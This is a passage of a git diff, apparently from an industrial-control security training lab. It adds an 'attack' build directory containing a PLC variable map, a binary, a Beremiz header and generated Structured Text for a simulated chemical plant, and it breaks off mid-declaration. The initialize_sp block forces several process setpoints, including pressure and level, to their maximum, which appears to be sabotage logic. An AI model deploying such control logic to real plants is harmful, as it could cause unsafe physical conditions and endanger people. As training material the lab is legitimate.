+365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT 